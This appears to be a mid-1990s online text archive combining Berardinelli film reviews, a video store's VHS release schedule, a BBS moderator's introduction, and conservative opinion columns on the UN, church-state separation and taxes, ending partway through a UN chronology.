JEFFERSON IN PARIS is feeble and fumbling. After introducing the ironic hypocrisy of Jefferson's having written a document claiming that "all men are created equal" while nevertheless maintaining a significant contingent of slaves, little more of substance is presented on the subject. Equally given short shrift is the ideology underlying the French Revolution. Aside from a few brief discussions filled with facile arguments, this particular element of the plot seems designed more as an historical backdrop than anything else. Impressions of JEFFERSON IN PARIS are likely to be based largely upon expectations. Those anticipating something with the depth and breadth of a HOWARDS END will be disappointed. Regardless, though it may be occasionally slow-moving and perhaps a half-hour too long, this film is put together with care and a mindfulness of quality. Little here is exceptional, but, fortunately, less is below par. In the end, like QUEEN MARGOT or 1776, JEFFERSON IN PARIS serves as a snapshot of history and the characters that made their mark upon it. -James Berardinelli (jberardinell@delphi.com) @START@Review: Clean, Shaven CLEAN, SHAVEN A film review by James Berardinelli Copyright 1995 James Berardinelli RATING (0 TO 10): 7.7 U.S. Availability: limited release 4/95 Running Length: 1:20 MPAA Classification: Not Rated (Violence, gore, language) Starring: Peter Greene, Robert Albert, Megan Owen, Jennifer MacDonald, Molly Castelloe Director: Lodge Kerrigan Producer: Lodge Kerrigan Screenplay: Lodge Kerrigan Cinematography: Teodoro Maniaci Music: Hahn Rowe Released by Strand Releasing Consider how mainstream movies depict violence. Bodies are chopped up, blown apart, and torn to pieces. Blood and gore flow as freely as water. Films like INTERVIEW WITH THE VAMPIRE are awash in a crimson tide, and no one thinks twice about it. Then along comes a film like CLEAN, SHAVEN, where nothing is gratuitous, and suddenly viewers are shocked. HENRY: PORTRAIT OF A SERIAL KILLER provoked a similar response, for the same reasons. There's no denying that the film is disturbing, at times profoundly so. One scene in particular resulted in more than half the audience wincing, turning away, or leaving. Often, it's the simplest, most realistic forms of violence, when portrayed in such a vivid manner, that cause the stomach to churn. During CLEAN, SHAVEN's screening at the 1994 Sundance Film Festival, a member of the audience fainted. As a result of this single, thirty second sequence, which film maker Lodge Kerrigan refused to edit out, this movie took nearly eighteen months to acquire a distributor. Peter Winter (Peter Greene) is a schizophrenic, and CLEAN, SHAVEN introduces us to his world, where paranoid delusions intermingle with reality. Through the use of viewpoint photography and stark, unusual images, we are brought into Peter's mind. It's not a pleasant place to be. Upon occasion, movies like to present a protagonist who straddles the line of sanity, but CLEAN, SHAVEN shows no such ambiguity. Peter is clinically insane. (One psychiatrist at the screening I attended described this as "the best portrayal of untreated schizophrenia ever [presented] on film.") The story, which develops largely without dialogue, follows Peter's quest to locate his young daughter Nicole (Jennifer MacDonald). Having been institutionalized for the last several years, Peter has had no contact with Nicole, who had been living with her grandmother. Now, she has been adopted, and he is determined to find her. His intentions are profoundly unclear, and he is already under suspicion of having brutally murdered another young girl. A detective (Robert Albert) is on his trail, closing in while gathering evidence. In many ways, CLEAN, SHAVEN is an incredible cinematic experience, but it will neither entertain nor appeal to a "typical" movie-goer. Writer/director Kerrigan is aware of this, but was unwilling to change a frame of the final cut. His vision, which took more than two years to commit to film, remains intact. And, frankly, without the controversial scene, the character study would be incomplete. As was true of Michael Rooker in the title role of HENRY, so Peter Greene is hauntingly convincing as CLEAN, SHAVEN's off-balance lead. Whether scrubbing his skin with steel wool, cutting into his scalp with a scissor, curled into a ball fighting against a flashback, or hiding from his own reflection, Greene has a perfect sense of Peter. The other actors are all competent, but their work pales in comparison to this singular performance. It's always difficult to rate a film that, while powerful and well made, is an exercise in endurance. There are those--even among the art-film crowd--who will find this picture unbearable. Theaters will warn of its graphic content. Viewers will endlessly debate all the unanswered questions posed within. But no one who sits through this film is likely to forget it. CLEAN, SHAVEN is one of those rare movies that leaves an indelible imprint on anyone still watching as the closing credits roll. -James Berardinelli (jberardinell@delphi.com) @START@Review: The Sum of Us THE SUM OF US A film review by James Berardinelli Copyright 1995 James Berardinelli RATING (0 TO 10): 8.0 U.S. Availability: limited release Spring 1995 Running Length: 1:40 MPAA Classification: No Rating (Mature themes, language) Starring: Jack Thompson, Russell Crowe, John Polson, Deborah Kennedy Directors: Geoff Burton and Kevin Dowling Producer: Hal McElroy Screenplay: David Stevens based on his play Cinematography: Geoff Burton Music: David Faulkner Released by The Samuel Goldwyn Company Love is perhaps the most common theme explored by movies. It is also the most frequently misrepresented. Many Hollywood love affairs end up heavily over-romanticized, and the picture they paint is invariably far from reality. So it's refreshing to find a film like THE SUM OF US, which is about love in all its genuine forms: sexual (both gay and straight), platonic, and most important, familial. Given the honesty of the script, it should come as no surprise that America's film industry had nothing to do with the movie--this is yet another gem from Australia. Not only are Harry (Jack Thompson) and Jeff (Russell Crowe) father and son, but they're best friends as well. Their relationship is relaxed and comfortable--they banter and kid around and, though they occasionally get under each other's skin, there's never any acrimony in their arguments. Harry is aware of his son's homosexual preferences and accepts them unquestioningly. The only thing he has to say on the subject is that he's disappointed Jeff will never have an opportunity to father a child. With so many dysfunctional family stories around, THE SUM OF US serves as the perfect antidote. Despite his good looks and outgoing personality, Jeff is actually somewhat shy, as becomes obvious when he's getting to know Greg (John Polson), a man he meets at a local gay pub. Greg is no more certain of himself than Jeff, and it's only after a lot of nervous conversation that the pair arrive at Jeff's home. No sooner have the two dimmed the lights, however, than Harry wanders into the room to greet his son's prospective lover, unintentionally but effectively dispelling the romantic atmosphere. Meanwhile, Harry, who has been a widower for a number of years, is looking for female companionship. To that end, he enrolls in Desiree's Introduction Agency, and is set up with a middle-aged woman named Joyce (Deborah Kennedy). The two hit it off almost immediately, but, while both are interested in pursuing a serious relationship, it's unclear exactly how far each is willing to go. THE SUM OF US is delightful, by turns droll and serious. Yet even during its most dramatic moments, it retains a light-hearted tone that keeps things from becoming too grim. There's always a joke right around the corner, and none of the humor seems ill-suited to the situation. Writer David Stevens has a near-perfect sense of his characters, and they're the sort of people it's a pleasure to get to know. Strong, unaffected performances by leads Jack Thompson (who bears a resemblance to the American sit-com actor Jerry Van Dyke) and Russell Crowe (PROOF, THE QUICK AND THE DEAD) emphasize our sense of Harry and Jeff as normal, everyday people. There is no "fourth wall" in THE SUM OF US. The characters frequently turn to the camera--sometimes right in the middle of a conversation with each other--and address a sentence or two to the audience. The words are spoken with such easy familiarity that this particular device is almost always more effective than gimmicky. THE SUM OF US isn't exactly cutting-edge, but it takes a few chances (or what might be perceived as chances by an American viewing audience). Jeff's homosexuality is a complete non-issue. There's nothing political or tragic in his situation. In fact, he and the other characters frequently joke about it. Also, no compromises are made to give the conclusion an extra lift, proving it's possible to have a happy ending without undermining the story's intelligence. It's production elements like this that make THE SUM OF US such a worthwhile examination of what love is like for those whose lives don't follow traditional movie scripts. -James Berardinelli (jberardinell@delphi.com) @START@Review: The Cure THE CURE A film review by James Berardinelli Copyright 1995 James Berardinelli RATING (0 TO 10): 4.8 U.S. Availability: wide release 4/21/95 Running Length: 1:38 MPAA Classification: PG-13 (AIDS themes, language) Starring: Brad Renfro, Joseph Mazzello, Anabella Sciorra, Diana Scarwid, Bruce Davison Director: Peter Horton Producers: Mark Burg and Eric Eisner Screenplay: Robert Kuhn Cinematography: Andrew Dintenfass Music: Dave Grusin Released by Universal Pictures Forget cancer. That life-stealer, which has fueled tear-jerkers from TERMS OF ENDEARMENT to MY LIFE, is passe, its position usurped by AIDS. Apparently, PHILADELPHIA was just the tip of the iceberg, and, if THE CURE is any indication, the American movie-going population may be on the verge of a deluge. One problem immediately comes to mind, however--how the grueling ordeal of the victim can be made palatable for mass market audiences. THE CURE offers a possibility, and it's not a pleasant one, for, as presented in this film, the bane of AIDS offers a noble, sanitized death. The Hollywood portrait of suffering here is in stark contrast to the gut-wrenching reality of SILVERLAKE LIFE: THE VIEW FROM HERE, Peter Friedman and Tom Joslin's 1993 documentary about living with and dying from AIDS. If you're looking for a watered-down AIDS movie that goes for the easy way out every time, THE CURE is perfect. It's the kind of production that would be at home as a TV after school special. In the most pedantic and obvious fashion possible, it ticks off all the appropriate truths: people shouldn't be reviled because they have AIDS, AIDS is not an airborne contagion, you don't have to be gay to get AIDS, and some gay people are even "nice." Of course, these are all valid messages for a motion picture to disseminate to a largely-ignorant public, but THE CURE presents them in a preachy and awkward manner. Good intentions combined with poor execution don't add up to much. The story centers around two neighboring boys: Erik (Brad Renfro of THE CLIENT), a loner with a self-absorbed, often-drunk mother (Diana Scarwid), and Dexter (Joseph Mazzello of JURASSIC PARK and SHADOWLANDS), an AIDS victim whose only friend is his loving mom (Anabella Sciorra). After a few conversations through a fence, Erik and Dexter meet face-to- face, the former having to overcome a fear of getting physically close to someone in Dexter's condition. However, following this first meeting, it doesn't take long for the two to become pals, and their growing friendship leads Erik to help Dexter begin a search for a cure to rid him of the scourge threatening to claim his life. In general, the script, which has a tendency to paint everything with broad strokes in black and white, is not well-written. While there are several scenes that are wonderfully insightful (such as an incident when Erik and Dexter covertly flip through an issue of PLAYBOY, then come into contact with two "real" women), these represent high points in a screenplay that often relies upon coincidence, contrivance, and manipulation. The ultimate goal of THE CURE is to wring a few tears from everyone in the audience, and it tries everything in pursuit of that aim. Character development proceeds along predictable, and not especially deep, lines. These aren't real people; they've been lifted from stock. Does anyone doubt that Erik and Dexter are destined to be good friends? Can anyone not see that Dexter's mom will develop maternal feelings for her son's only buddy? Is there any doubt that Erik's mother, the personification of AIDS-paranoia, homophobia, and alcoholism all-in-one, is actually a reincarnation of the Wicked Witch? In fact, actress Diana Scarwid drips so much meanness that she comes across as laughably absurd. I found one scene in THE CURE somewhat alarming, and possibly a little irresponsible. In an instance when Erik and Dexter are menaced by a knife-wielding bully, the AIDS-infected child calmly slices his own hand, brandishes the open wound, and intones, "My blood is like poison." This particular method of fighting back gets the job done--the man runs away--but it also potentially reinforces several negative stereotypes about AIDS and AIDS victims. Is the single camera shot of cuts on the attacker's arm enough to clue the audience in that blood-to-blood contact is necessary for a possible transmission? Or will the less-enlightened viewer come away thinking that a drop of HIV+ blood is deadly even if it touches only unbroken skin? There were plenty of wet eyes at the screening of THE CURE I attended, which indicates that the movie was accomplishing something. It does this, however, through shameless and intrusive manipulation that is less concerned about emotional honesty than pulling strings. Had the characters been more than thinly-sketched types and had the story contained a few more of those "special" moments of bonding between the two children, THE CURE might have been a heartwarming, heartbreaking tale. As it is, this film left me longing for another viewing of SILVERLAKE LIFE or, failing that, PHILADELPHIA. Both present the same themes as THE CURE, but in a manner that is both poignant and effective. -James Berardinelli (jberardinell@delphi.com) @START@Video Coming Attractions *************************************************************** * WELCOME TO KING VIDEO'S COMING ATTRACTIONS! (4/07/95) * *************************************************************** New announcements: ------------------- SAFE PASSAGE - JUNE 6 COLONEL CHABERT - JUNE 20 DUMB AND DUMBER - JUNE 20 LITTLE WOMEN - JUNE 20 THE LAST SEDUCTION - JUNE 27 Upcoming VHS release dates: ---------------------------- (List price in parentheses if it's less than the usual $89.98) - APRIL 11 IMAGINARY CRIMES (PG) drama; Harvey Keitel, Fairuza Balk, Kelly Lynch, Vincent D'Onofrio, Chris Penn THE SHAWSHANK REDEMPTION (R) drama; Tim Robbins, Morgan Freeman - APRIL 18 THE ADVOCATE (R) critically acclaimed period mystery; Colin Firth, Ian Holm, Amina Annabi, Donald Pleasance, Nicol Williamson BLUE SKY (PG13) drama; Jessica Lange, Tommy Lee Jones ED WOOD (R) comedy/biography; Johnny Depp, Martin Landau, Sarah Jessica Parker, Patricia Arquette, Bill Murray I LIKE IT LIKE THAT (R) award-winning independent film; Lauren Velez, Jon Seda, Rita Moreno, Griffin Dunne QUIZ SHOW (PG13) drama; Ralph Fiennes, Rob Morrow, John Turturro - APRIL 25 HOOP DREAMS (PG13) award-winning sports documentary THE PUPPET MASTERS (R) sci-fi; Donald Sutherland, Julie Warner THE RADIOLAND MURDERS (PG) mystery; Mary Stuart Masterson, Brian Benben, Ned Beatty TERMINAL VELOCITY (PG13) action; Charlie Sheen, Nastassja Kinski - APRIL 27 FORREST GUMP (PG13) comedy/drama; Tom Hanks, Sally Field, Gary Sinise, Robin Wright ($22.95 list price) - MAY 2 FLOUNDERING (R) comedy; James LeGros, John Cusack, Ethan Hawke, Steve Buscemi THE ROAD TO WELLVILLE (R) comedy; Anthony Hopkins, Bridget Fonda, Matthew Broderick, John Cusack, Dana Carvey TRAPPED IN PARADISE (PG13) comedy; Nicolas Cage, Dana Carvey, Jon Lovitz - MAY 9 MARY SHELLEY'S FRANKENSTEIN (R) Gothic horror; Kenneth Branagh, Robert DeNiro, Helena Bonham-Carter, Tom Hulce, Aidan Quinn THE WAR (PG13) drama; Kevin Costner, Elijah Wood - MAY 15 S.F.W. (R) action/drama; Stephen Dorff, Reese Witherspoon - MAY 16 BULLETS OVER BROADWAY (R) comedy from Woody Allen; John Cusack, Dianne Wiest, Jennifer Tilly, Chazz Palminteri HIGHLANDER: THE FINAL DIMENSION (PG13) action/fantasy; Christopher Lambert, Mario Van Peebles THE JUNGLE BOOK (PG) live-action Disney adventure; Jason Scott Lee, Cary Elwes, Sam Neill, John Cleese ($22.98 list) MRS. PARKER AND THE VICIOUS CIRCLE (R) drama/biography; Jennifer Jason Leigh, Matthew Broderick, Campbell Scott PONTIAC MOON (PG13) drama/adventure; Ted Danson, Mary Steenburgen THE PROFESSIONAL (R) action; Gary Oldman, Jean Reno SPEECHLESS (PG13) romantic comedy; Michael Keaton, Geena Davis - MAY 23 CLERKS (R) award-winning comedy; Brian O'Halloran, Jeff Anderson HEAVENLY CREATURES (R) true-crime drama from New Zealand; Kate Winslet, Melanie Lynsky A LOW DOWN DIRTY SHAME (R) action/comedy; Keenen Ivory Wayans, Jada Pinkett, Charles S. Dutton RICHIE RICH (PG) comedy; Macaulay Culkin ($22.98 list) - MAY 31 LEGENDS OF THE FALL (R) drama/Western; Brad Pitt, Anthony Hopkins, Aidan Quinn - JUNE 6 INTERVIEW WITH THE VAMPIRE (R) Gothic horror, from the Anne Rice novel; Tom Cruise, Brad Pitt, Christan Slater, Kirsten Dunst JUNIOR (PG13) comedy; Arnold Schwarzenegger, Emma Thompson SAFE PASSAGE (PG13) drama; Susan Sarandon - JUNE 13 DISCLOSURE (R) drama/suspense, from the Michael Crichton novel; Michael Douglas, Demi Moore DROP ZONE (R) action; Wesley Snipes - JUNE 20 COLONEL CHABERT (NR) French period drama; Gerard Depardieu DUMB AND DUMBER (PG13) comedy; Jim Carrey, Jeff Daniels LITTLE WOMEN (PG) drama; Winona Ryder, Susan Sarandon, Kirsten Dunst, Gabriel Byrne, Eric Stoltz MURDER IN THE FIRST (R) drama; Christian Slater, Kevin Bacon, Gary Oldman STREET FIGHTER (R) action, based on video game; Jean-Claude Van Damme, Raul Julia - JUNE 27 COBB (R) biography/sports drama; Tommy Lee Jones EAT DRINK MAN WOMAN (NR) Oscar-nominated foreign film THE LAST SEDUCTION (R) drama/suspense; Linda Fiorentino OLEANNA (NR) sexual-harassment drama from the David Mamet play; Debra Eisenstadt, William H. Macy - COMING IN SEPTEMBER THE MADNESS OF KING GEORGE (NR) award-winning period drama; Nigel Hawthorne, Helen Mirren, Ian Holm PULP FICTION (R) Quentin Tarantino's multiple award-winning crime drama; John Travolta, Samuel L. Jackson, Uma Thurman, Harvey Keitel, Bruce Willis & all-star cast - SEPTEMBER 15* THE GOOFY MOVIE (G) Disney animation (list price TBA; April theatrical release) - OCTOBER 6* CINDERELLA (G) Disney animated classic (list price TBA) - NOV 3* THE SANTA CLAUSE (PG) holiday comedy; Tim Allen (list price TBA) (* - Nationally advertised availabilty dates. Street date will probably be the preceding Tuesday.) COMING SEPTEMBER 19 ON LASERDISC: ---------------------------------- THE LION KING (CLV $29.98 list, deluxe CAV edition $99.98 list) NOTE: This list does not include ALL the releases for the above dates; only the bigger and/or more notable ones. ALSO NOTE: Release dates are subject to change! * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * JMC * King Video Inc. * * martyc@vt.edu * VA's most exciting video stores * * Virginia Tech * The Blacksburg Electronic Village * * Blacksburg VA * www.bev.net >> The Village Mall * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * The usual disclaimers, etc. @START@About Your Moderator Hello Everyone! I'm happy to be a contributing party to this new TJSoft Door program! I'm James Fish, moderator of the ATW Political Forum. I will be contributing non-mainstream conservative text files and responding to appropriate messages left regarding same. Two years ago I was computer illiterate..."today I are one!" Am sysop of The BIRCH BARK BBS, featuring a significant collection of political, historic and economically oriented files. And the operator of the InterNet Listserve List "FWIW"... My BBS is also a happy registered user of some of the TJSoft programs! Regarding replies...I will be most happy to attempt intelligent responses to all such posts received. I encourage difference of opinion, the only way we can challenge our beliefs! Please note, "flaming" will not stimulate a response! regards =================================================================== The BIRCH BARK BBS / 414-242-5070 (long distance callers require manual upgrade, usually within hours) No Fee, No Adult Areas, No Download Limits Largest On-Line Collection Of Non-Mainstream Conservative Text Files! On-Line Distribution Point For Several Publishers 24 Hours / 14.4 =================================================================== To subscribe to FWIW simply send the following: To: listserv@earth.execpc.com Subj: (leave blank) Message: subscribe fwiw That's it! The welcome letter will tell you more! =================================================================== @START@UNplanning your future... * America's Future, Inc. * Behind The Headlines * April 1995 * NEW PUSH FOR "WORLD GOVERNMENT" =============================== They're back! Despite all the U.N.'s problems with international peace- keeping, the advocates of world government are busier than ever. At the so-called World Summit for Social Development in Copenhagen, Denmark, last month, some 10,000 delegates from more than 140 countries debated plans for a world government financed by global taxes and other revenues totalling $1.5 trillion over five years. Provisions call for creation of a "global human security fund" to finance a World Ministry of Agriculture, a World Ministry of Industry, a World Ministry of Social Affairs and a World Police Department. While the Republican-led Congress is unlikely to go along with any such globalism, the Copenhagen Summit was addressed in supportive terms by both Vice President Al Gore and First Lady Hillary Rodham Clinton. Next on the U.N.'s timetable is a World Summit of Children in June, followed by the Fourth World Conference of Women in Beijing, China, in September, and a gala commemoration of the U.N.'s 50th anniversary next October in San Francisco. Awe-struck observers might well ask, what's next? Well, there already have been a whole series of U.N. conferences on world population, held in Cairo last September; on human rights, conducted in Vienna in 1993; and the famous Earth Summit in Rio de Janeiro in June, 1992, attended by Vice Presi- dent Gore, among others. The Rio conference produced what's called the Convention of Biological Diversity. Its stated purpose is to "protect the variability among all living organisms and species...." Critics have called the treaty a quantum leap in environmental radicalism, allowing international bureaucrats to intrude into the day-to-day activities of American farmers, ranchers and businessmen, and to impose regulations governing them. President Bush refused to sign on, but President Clinton has submitted the treaty to the Senate for ratification. Senator Jesse Helms, chairman of the Senate Foreign Relations Committee, is among lawmakers demanding major revisions to protect U.S. interests before any further consideration. There's more. Also out there, waiting for Senate ratification, is the "Convention of the Law of the Sea." It establishes an International Seabed Authority to regulate private mining of the ocean floor. An entity called the Enterprise would be empowered to develop the seabed resources for the benefit of all mankind. Western countries and companies would provide the necessary funds and technology. Critics see it as part of a "New Interna- tional Economic Order" aimed at promoting the redistribution of global resources, technology and wealth. Nor is this all. Also awaiting Senate ratification is a U.N. Convention on the Rights of the Child, drawn up by a 1990 world summit hosted by the U.N.'s Children's Emergency Fund, or UNICEF. Presidents Reagan and Bush declined to sign the treaty as an infringement both on U.S. sovereignty and on parental authority. However, last February Hillary Clinton served notice that President Clinton would sign the treaty and send it to the Senate for ratification. Not so fast, says Phyllis Schlafly, president of Eagle Forum and a leading opponent of "one-worldism." Warns Mrs. Schlafly: "This outrageous U.N. treaty is designed to take children away from the protection of their parents, put children under the authority of U.N. `experts,' give children the legal rights of adults, and set up government lawyers to sue parents to assert the child's `rights.'" Citing the treaty's dangers, Mrs. Schlafly asks parents: "Do you want the U.N. to have the power to tell your minor children that they have the `right' to refuse to do their homework? Or the `right' to watch TV when you tell them to turn it off? Or the `freedom of religion' to refuse to go church with you? Or the `right' to refuse to clean up their room and carry out the garbage?" The answers are obvious. National Review, the conservative magazine, calls the Rights of the Child treaty "the mother of all mandates." It cites a number of "horror stories" from Great Britain, which signed the treaty four years ago. For example, a U.N."enforcement" committee is on record against parents who "chastise" their children. In response, the British government has felt obliged to ask if "a light smack" would be permissible! Concludes National Review: "The U.S. Senate should slam-dunk this globocratic nonsense." ---------------------------------------------------------------------------- Behind the Headlines, written by Philip C. Clarke, is a syndicated column distributed by America's Future. It is available to interested newspapers and other publications on a gratis basis as a service of this non-profit educational organization. For more information, please write or call Mr. John Wetzel, c/o America's Future Inc., P.O. Box 1625, Milford, Pa. 18337 (717) 296-2800. @START@"Wall of Separation" was between Fed and State! * America's Future, Inc. * Behind The Headlines * April 1995 * OUR FOUNDING FATHERS AND RELIGION ================================= To modern Americans, the separation between church and state is taken for granted. But an important new book reveals that the Founding Fathers had a slightly different view on the subject. The First Amendment to the Constitution contains these well-known words: "Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof...." And through the early part of the nation's history, this phrase was taken to mean that the federal government could not establish a state religion, nor could it limit religious practices. But over the past 30 years or so, the courts have gradually altered this interpretation so as to literally divorce religion and matters of faith from anything at all in the public domain. And it's a change for the worse, says M. Stanton Evans, author of a new book entitled, The Theme is Freedom: Religion, Politics and the American Tradition. Evans poses the question: "Was the First Amendment really intended to build a `wall of separation' between the church and state?" His answer: "History is clear: it was not. The Founding Fathers wanted to protect religion from federal government interference, not diminish its influence in our public life." With meticulous research, Evans demonstrates that the Founding Fathers were very religious men. Even Ben Franklin, whose reputation casts him as a lovable rogue, had a deeply held religious faith. The author quotes Franklin's words: "The longer I live, the more convincing proof I see of this truth - that God governs in the affairs of men." Indeed, as Evans reveals, the Founding Fathers were so devoutly religious that many of them supported state-sponsored churches. Nine of the 13 colonies had officially "established" a church, meaning that the government recognized a particular denomination as having rights and privileges that others did not have, including subsidies paid from tax revenues. But growing religious diversity in the colonies made many of the Founding Fathers reconsider the wisdom of an official church. And, as Evans notes, in 1785, before adoption of the Constitution, James Madison co-sponsored a bill in the Virginia legislature to "disestablish" the Protestant Episcopal Church and forbid taxes from being used to support any church. Evan goes on to say that this trend to disestablish churches did not mean the Founding Fathers were enemies of religious matters. Indeed, the Continental Congress had a chaplain and opened its first session with a prayer, as does today's Congress. And, Evans adds, "in 1780, in the midst of Revolutionary conflict, the Congress also took steps to print an American Bible, as the supply from England had been cut off." He also reveals that the very words of the First Amendment were written by a committee that contained "two members from Connecticut's state established Congregational Church." Evans also recalls that the Founding Fathers believed the federal government had no power to regulate religion, but that states did have such power. In Thomas Jefferson's second inaugural address, for example, the third president said that "in matters of religion, he had `left them, as the Constitution found them, under the direction and discipline of State or Church authorities acknowledged by the several religious societies.'" Evans reports that Jefferson's views were based on the Tenth Amendment, as well as on the First. In the latter amendment, the Founders wrote that "the powers not delegated to the United States by the Constitution, nor prohibited by it to the States, are reserved to the States respectively, or to the people." As Evans sums up: "The conclusion seems irresistible: that no wall of separation between religious affirmation and civil government was intended by the First Amendment. The wall of separation was between the federal government and the states. "We have come to a day," he concludes, "when a child's mention of God in a graduation address or the presence of a Nativity scene in a public place triggers threats of legal action. This is a gross distortion of our Constitutional history and a dishonor to our Founders." To which we say, Amen to that. --------------------------------------------------------------------------- Behind the Headlines, written by Philip C. Clarke, is a syndicated column distributed by America's Future. It is available to interested newspapers and other publications on a gratis basis as a service of this non-profit educational organization. For more information, please write or call Mr. John Wetzel, c/o America's Future Inc., P.O. Box 1625, Milford, Pa. 18337 (717) 296-2800. @START@Recommended reading for April 15th! [Jacket Review] For Good And Evil: The Impact Of Taxes On The Course Of Civilization ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ by Charles Adams Pub. Madison Books "I can honestly say that in the course of fifteen years of professional research and writing about taxation, I would place Charles W.Adams' history at the absolute top of any reading list on the subject." - From the forward by Professor Alvin Rabushka Senior Fellow, Hoover Institution, Stanford University [Jacket] The very word taxes sends shivers up spines. Yet, very few realize the tremendous impact that taxation has had on civilization. Charles Adams changes that in this facinating history. Taxation, says Adams, has been a catalyst of history, the powerful influence if not the direct cause of many of the famous events of history that have marched across the world's stage as empires collided and battled for the right to tax the loser. For Good And Evil is the first book to examine how taxation has been a key factor in world events. Like the Rosetta Stone - a tax document - the book sheds fresh light onto much of history. Did you know that biblical Israel split after Solomon's death because his son refused to cut taxes? That Rome rose to greatness due to a liberal tax regime but declined under corrupt and inefficient ones? That in Britain, Lady Godiva made her famous ride as a tax protest? That in Switzerland William Tell shot an apple off his son's head as punishment for tax resistance? Or that Fort Sumter, where the first shots of the Civil War were fired, was a Customs House? Combining facts with thought-provoking comment he frequently draws parallels between tax events of the past and those of the present. Finding fault with the way Western civilization is taxed, Adams provides ideas for curing those faults by using the valuable lessons that history has taught. The special value of this refreshing new look at history lies in the lessons to be drawn by all thinking taxpayers. "Taxes are the fuel that makes civilization run, but how we tax and spend determines to a large extent whether we are prosperous or poor, free or enslaved, and most importantly, good or evil." Once you read For Good And Evil, you'll never feel the same about taxes! @START@History repeating itself... [T]he empire of the Romans filled the world.... [T]he world became a safe and dreary prison for [Caesar's] enemies....To resist was fatal, and it was impossible to fly...."Wherever you are," said Cicero to the exiled Marcellus, "remember that you are equally within the power of the conqueror." - Edward Gibbon [1] [W]e have ceased to be the world of nation-states that we once were....I don't believe that the world is going to retreat into a situation where people are going to run away from this global neighborhood we've become, because there are no sanctuaries left - there's no place to run to. - Shridath Ramphal, co-chairman of the Commission on Global Governance [2] NOTES: [1] Edward Gibbon, The History of the Decline and Fall of the Roman Empire, from Great Books of the Western World, Robert Maynard Hutchins, editor-in-chief (Encyclopedia Britannica/ University of Chicago, 1952), vol.40, p.34. [2] Answer to a question posed by the author during a press conference at the International Conference on Population and Development in Cairo, Egypt, September 7, 1994. See The New American, October 3, 1994, p.13. Source: Freedom On The Alter: the UN's Crusade Against God & Family By William Norman Grigg (c)1995, First Printing, March 1995. @START@PC going to the dogs! IS YOUR DOG A RACIST? ===================== Don't worry, says Elizabeth Marshall Thomas, author of The Secret Life of Dogs, if your pooch "prefers people of his owner's race." It "means only that he can see a difference between races, not that the dog or owner is a bigot." Whew! "You do a dog no favor, however, by encouraging his racial preferences. If your dog has such prejudices, it's a good idea to accustom him to people of other races. You could enlist the help of friends of other races, who could visit with you in the dog's presence. Some attention and a few dog biscuits handed out by the friends might go a long way toward changing your dog's unprogressive attitude." (USA Weekend, 1/6-8/95) Source: Rothbard-Rockwell Report PC Watch by L.H.R.,Jr. April 1995, Vol.VI, No.3, p.7 @START@Most interesting Q & A ! Q. How many amendments to the Constitution have been proposed over the years? Which took the shortest time to ratify? The longest? A. Since the Constitution was signed in 1787 by members of the Convention held in Philadelphia, there have been 10,679 amendments proposed to it, according to an analysis by the Hearst newspapers. To date, only 27 amendments have become part of the founding document, including the first ten known as the Bill of Rights. The swiftest passage came for the 26th Amendment, which lowered the voting age from 21 to 18. Proposed by Congress on March 23, 1971, its ratification by the states was com- pleted on July 1, 1971. By contrast, it took 203 years to pass the 27th Amendment, which in essence directs that Congress cannot pass immedi- ate pay raises for itself. The 27th stipulates that no law varying compensation for senators and representatives shall take effect before there is an intervening election of representatives. It was among the first 12 amendments proposed by the Congress in 1789 and sent to the states for ratification (without any time limit attached); it took until 1992 for Michigan to become the 38th state to ratify - the requisite three-fourths. Some have called the result of the convention in Philadel- phia a miracle. As Daniel Webster warned: "Miracles do not cluster. Hold on to the Constitution of the United States of America and the Republic for which it stands - what has happened once in six thousand years may never happen again. Hold on to your Constitution, for if the American Constitution shall fail there will be anarchy throughout the world." Source: The New American The Right Answers, p.18 April 17, 1995 @START@UNshameful history! * The New American * April 3, 1995 * UNITED NATIONS CHRONOLOGY: FIFTY YEARS OF SHAME +++++++++++++++++++++++++++++++++++++++++++++++ By Robert W. Lee Though far from complete, the following record demonstrates the extent to which the United Nations has, since its founding in 1945, worked to pull down the economic, political, and moral pillars on which the American Republic was built: APRIL 25, 1945. The United Nations founding conference convened in San Francisco with U.S. State Department official Alger Hiss serving as Secretary-General. Hiss, a Soviet spy, would eventually be convicted of perjury for lying about his pro-Soviet activities. FEBRUARY 6, 1946. The Senate confirmed Assistant Secretary of the Treasury Harry Dexter White to be executive director for the United States of the UN's International Monetary Fund (IMF). White served as chairman of the committee that established the IMF. In November 1953, Attorney General Herbert Brownell confirmed during a speech in Chicago that White, like Hiss, was a Soviet spy. Brownell asserted that "the records in my department show that White's spying activi- ties for the Soviet government were reported in detail by the FBI to the White House...in December of 1945. In the face of this infor- mation, and incredible though it may seem, President Truman subse- quently on January 23, 1946 nominated White" to the IMF post. SEPTEMBER 8, 1954. The Southeast Asia Collective Defense Treaty was signed by the eight participating nations, including the United States. The Southeast Asia Treaty Organization (SEATO), is a region- al subsidiary of the UN, later served as the primary "legal" justifi- cation for U.S. involvement in Vietnam. Writing in the New York Times for March 2, 1966, C. L. Sulzberger revealed that former Secre- tary of State John Foster Dulles "fathered SEATO with the deliberate purpose, as he explained to me, of providing the U.S. President with legal authority to intervene in Indochina." After the war, which formally ended with a communist victory on April 30, 1975, SEATO, having served its purpose, was disbanded (February 1976). SEPTEMBER 13, 1961. The UN launched Operation Morthor, a full-scale military invasion of the independent, anti-communist province of Katanga in the former Belgian Congo. The UN assault included the bombing of hospitals, attacks on ambulances, and general violence so extreme that the 46 civilian doctors of Katanga's capital of Eliza- bethville issued the book-length report 46 ANGRY MEN which, accompan- ied by pictorial examples of UN atrocities, documented the horror that the UN inflicted in the name of "peace." SEPTEMBER 25, 1961. President John F. Kennedy presented the U.S. disarmament plan, subsequently published as State Department Publica- tion 7277 (Freedom From War: The United States Program for General and Complete Disarmament in a Peaceful World), the ultimate aim of which is the creation of a world order in which "no state would have the military power to challenge the progressively strengthened U.N. Peace Force...." The treasonous policy outlined in this sovereignty- destroying document remains in effect to the present. NOVEMBER 11, 1965. Rhodesia declared its independence from Great Britain, and the UN General Assembly immediately branded it "a threat to international peace and security." On December 16, 1966, the Security Council voted to impose mandatory sanctions (for the first time in UN history), which the Johnson Administration promptly endors- ed. In 1971, Congress approved an amendment allowing the U.S. to import strategic materials from communist nations, but repealed the amendment in 1977. On April 18, 1980, Rhodesia officially expired, becoming the Marxist-ruled nation of Zimbabwe. UN sanctions were lifted and by late September the U.S. and other Western countries 